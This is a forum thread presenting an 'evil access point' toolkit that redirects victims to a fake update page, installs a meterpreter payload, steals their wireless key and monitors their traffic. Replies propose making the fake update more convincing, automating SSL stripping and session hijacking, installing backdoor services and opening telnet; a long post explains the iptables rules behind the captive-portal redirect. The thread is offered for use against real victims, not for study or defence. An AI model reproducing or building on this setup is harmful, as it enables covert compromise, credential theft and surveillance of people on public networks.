EvilAP-CRT - Capture Release and transparency

[hm2075]

EvilAP-CRT Capture Release and Transparency

What does it do?
Victims connect to our EvilAP, get redirected to our fake update page, they cannot go any further until they download our fake update.

Scripts then kick in, we grab their wireless key, and authenticate their mac to surf the internet. In the meantime we monitor what they are doing.

Further victims cannot surf unless they download our fake update.

This is a stepping stone for those that know what they are doing. Looking forward to lots of variants of this


How does it all work?
It's complicated. it is a combination of scripts, one is my wireless key grabber script, then we use getmac and a bat file to download their mac address, further scripts then grep this mac address, and mark this mac address so it can surf the net.

You can find all the information in the pastebin link as well as the scripts


What do you need?
Lighttpd, WK2 folder found in the link that should be in /root so /root/WK2,
don't mix and match it with my other work i.e WK folder. Make sure to set exec permissions on evilapcrt.sh mc2.sh and mc3.sh files



What else can be done
Edit the hb2 file and get rid of the wireless key viewer bit if you don't want it. Add further scripts to keylog, hashdump, install backdoor, download docs, jpegs etc, ssl strip

Use your imagination


Should I be worried when running this
Yes, there is always the danger someone will "reverse hack" you, lock down the firewall further, I am leaving it open so people learn to do some things themselves


Sources
Some people have started pasting my work and not sourcing it back to its author or to remote exploit forum. Show some respect please.
For mac authentication I got some work from building a better netgreg
Building a better Netgreg
for grepping mac addresses some work was found on the ubuntu forum
and for scripting within meterpreter, some links where found on the metasploit webpage and obviously the manuals
again g0tm1lk's previous scripts influenced me to get this done finally




Links

Commands can be found here
Python pastebin - collaborative debugging tool

All the required files
MEGAUPLOAD - The leading online storage and file delivery service

The video
EvilAP-CRT on Vimeo
Vimeo like to speed up the vids for some reason Don't worry I don't actually work that fast
Video may take some time to load, be patient

[Takedown32]

WOW WOW WOW.
This project has gone far away since i last messed up with it, hm2075!!!
I'm gonna try this new thing as soon as i can!!!

[jjarvis98]

Great Work.

A few suggestions/comments and 1 problem:

First, for some reason apache decides that it wants to launch at startup. I don't remember changing anything that would have enabled it. But a short '/etc/init.d/apache2 stop' wouldn't hurt anything.

I'm not sure who owns the code to the .exe, but is there any way to add a fake "Windows is now updating" dialog and make it do something for around 60 seconds? First red flag that went up to me is that double clicking the EXE did 'nothing'. If I hadn't had the metasploit window open I wouldn't have even known I had run it. Just a little dialog to let the user know that the system has been updated (and that they actually double clicked on the .exe properly).

Is there any way to put the MAC grabbing at the beginning of the MS script? The thing that threw up another annoyance to me was that I downloaded and ran the exe but I didn't have internet for another 60-90 seconds. A normal user would only hit refresh once or twice before throwing their hands up in the air. (Adding a 60 second dialog above would certainly help).

No matter what set of instructions I follow, OS X will NOT get an IP address. Even manually assigning it I can't ping 10.0.0.1 and vice versa from the BT machine.

tcpdump -i at0 shows a bit of ip6 traffic which appears to be ZeroConf/Bonjour stuff, but it just will not grab a DHCP address. It associates and that's reflected on both machines. Everything seems normal other than DHCP. Is there a certain way that OS X requests it different than XP?

Finally, is there anyway to set up a cgi script that would add OS X and linux users to the allowed MAC list since they obviously can't do anything with the exe. "building a better netgreg" seems to have the scripts, a simple javascript redirect "if platform!=WIN go to addmac.pl"

Thanks again for all your work.

My Setup:
Unibody MacBook Pro running latest version of OS X.
BT4-PreFinal running on VM Ware with Alpha AWUS036H.
Windows XP running on VM Ware with WUSB11v4. (Successfully attacked)

-

[teh1337one]

for some reason my victim cant establish a connection. i used your other project (WK) and it worked fine but for some reason it wont actually connect with WK2

[hm2075]

thanks for the feedback

yes, we need to wrap the meterpreter into a fake update package. I'm sure you can take the exe and add it into an installation package.

Yes, it makes sense to have the mac grabbing bit at the start, edit hb2.rc and move the executing bit at the top

Ipv6, I've always had trouble with this, my nokia phone doesnt connect either, I think it has something to do with portwarding, ipv4 can be forwarded but not ipv6, that is my understanding


Apache --- I don't use it so doesn't really affect me, my script does stop lighttpd though before starting again


Redirect linux and mac users? Why not, just edit the index.html.. simples


I'm sure someone will make these minor changes, I only provide this as a starting block

[Vpoint7]

Great post hm2075,

I'll post my experience here soon ....

[ozzy66]

Hi great work!!

nice how you have solved the problem with the MAC-Adress :-)
I have a little changed (pimp) your code.
1. Changed to work with Apache (i love Apache :-)
2. Changed the DHCP start (for my your line doun't worked)
3. Automated Starting SSLStrip
4. Automated Starting Ferret
5. Automated Starting Hamster
6. after download redirect port 80 to port 10000 for hamster
7. Install sbd.ex as service
8. run a shell to conect to the sbd.exe
9. upload and install as service metsvc.exe

next step for my are to make a user, start telnet service and open on the XP-Firewall port 23. (thats for today)

now only one question: it's possible to send from your hb2.rb Automated meterpreter commands? for example "migrate" to all conectet PC's?
If yes how?

thx cheers ozzy

ps sorry my bad english

[hm2075]

would be grateful if you could show the changes in pastebin, as for the hb2.rb script, I am not sure if we can migrate, google meterpreter scripts, there are a few examples on the site itself

[ozzy66]

would be grateful if you could show the changes in pastebin

Ok i will make it, but first i make it finish :-)

[jjarvis98]

It's been a LONG time since I messed with ipfw (OS X) and I've never gotten to play with iptables, so this is me thinking aloud in order to understand these (so I can maybe start writing my own) and hopefully as a baseline for others. Let me know if anything needs fixed.

First off there are 3 main tables.

filter:
This is the default table (if no -t option is passed). It contains the built-in chains INPUT (for packets destined to local sockets), FORWARD (for packets being routed through the box), and OUTPUT (for locally-generated packets).
nat:
This table is consulted when a packet that creates a new connection is encountered. It consists of three built-ins: PREROUTING (for altering packets as soon as they come in), OUTPUT (for altering locally-generated packets before routing), and POSTROUTING (for altering packets as they are about to go out).
mangle:
This table is used for specialized packet alteration. Until kernel 2.4.17 it had two built-in chains: PREROUTING (for altering incoming packets before routing) and OUTPUT (for altering locally-generated packets before routing). Since kernel 2.4.18, three other built-in chains are also supported: INPUT (for packets coming into the box itself), FORWARD (for altering packets being routed through the box), and POSTROUTING (for altering packets as they are about to go out).

On to the code:

iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
iptables -t nat -F
iptables -t mangle -F

Flush the tables.
Flush the table 'nat'.
Delete all chains.
Delete all chains on table 'nat'.
Flush the table 'nat'
-
I think all of these are redundent, wouldn't 1 flush do the same?
-

iptables -t nat -A POSTROUTING -s 10.0.0.0/24 -j MASQUERADE -o $gateway_interface

On the table (-t) 'nat' append (-A) the rule to the chain 'POSTROUTING' (as in do this stuff after stuff is routed). Only onn the source (-s) 10.0.0.0/24. The jump (-j) to the target 'MASQUERADE' on out bound interface (-o) $gateway_interface.

This target is only valid in the nat table, in the POSTROUTING chain. It should only be used with dynamically assigned IP (dialup) connections: if you have a static IP address, you should use the SNAT target. Masquerading is equivalent to specifying a mapping to the IP address of the interface the packet is going out, but also has the effect that connections are forgotten when the interface goes down. This is the correct behavior when the next dialup is unlikely to have the same interface address (and hence any established connections are lost anyway).

.

iptables -t nat -A PREROUTING -p udp -j DNAT --to $router

On the table 'nat', append the rule to the chain PREROUTING. Only on protocol (-p) udp, jump to the target DNAT and forward to the $router

This target is only valid in the nat table, in the PREROUTING and OUTPUT chains, and user-defined chains which are only called from those chains. It specifies that the destination address of the packet should be modified (and all future packets in this connection will also be mangled), and rules should cease being examined. It takes one type of option:
--to-destination ipaddr[-ipaddr][ort-port]
which can specify a single new destination IP address, an inclusive range of IP addresses, and optionally, a port range (which is only valid if the rule also specifies -p tcp or -p udp). If no port range is specified, then the destination port will never be modified.

.

So if I'm reading this right. ALL udp requests will get routed properly. Not that it really matters much, but if you were to use a UDP->TCP bridge, you could get through without any problem?

iptables -t nat -A PREROUTING -m mark --mark 0x42 -j ACCEPT

On the table 'nat', append to the 'PREROUTING' chain. Match (-m) only packets that have the mark (--mark) 0x42. Jump to the target 'ACCEPT' (let the packet through).

iptables -t filter -I FORWARD 1 -m mark --mark 0x42 -j ACCEPT

On the table 'filter', insert the chain "FORWARD". Add the rules at the head of the chain (1). Only on packets that match (-m) the mark (--mark) 0x42. Jump to the target 'ACCEPT'.

iptables -t nat -A PREROUTING -i at0 -p udp --dport 53 -j ACCEPT

On the table 'nat', append to the chain "Pre Routing" on interface (-i) at0 (Adapter created by airbase) on protocol udp and destination port 53 (DHCP) jump to the target 'accept'. (Let all DHCP requests).

iptables -t nat -A PREROUTING -i at0 -p tcp --dport 80 -j REDIRECT --to-port 80

Finally... on the table 'nat' and the chain 'prerouting'. On interface at0, protocol tcp port 80. Jump to the target Redirect, redirect to localhost port 80.

And in the code to add a user...

iptables -t mangle -I PREROUTING -m mac --mac-source $MAC -j MARK --set-mark 0x42

To the table 'mangle'. Insert to the chain prerouting (Default is 1, so -I PREROUTING 1 is identical). Match (-m) mac address, with the mac source (--mac-source) $MAC (from the shell script). Jump to the 'MARK' target and set the mark to 0x42.
--
So. How does this all Tie together? IPtables has a short circuit logic, meaning if at any time it gets the 'accept' target, it goes ahead and executes the current chain.

So in the end you will have these chains on each of the tables:

Filter: On the chain Forward, all packets what match the mark of 0x42, accept. (Is this redundent with the nat chain below?)

Mangle: All packets coming in (PreRouting) that match a MAC address, mark them with 0x42.

Nat: All packets that come through prerouting matching mark of 0x42, accept.
Accept all port DHCP requests on in udp on port 53.
Finally, anything that doesn't match above and is coming in on port 80, redirect to local host port 80.

---
Here is a decent writeup (although it's a bit long) hxxp://iptables-tutorial.frozentux.net/iptables-tutorial.html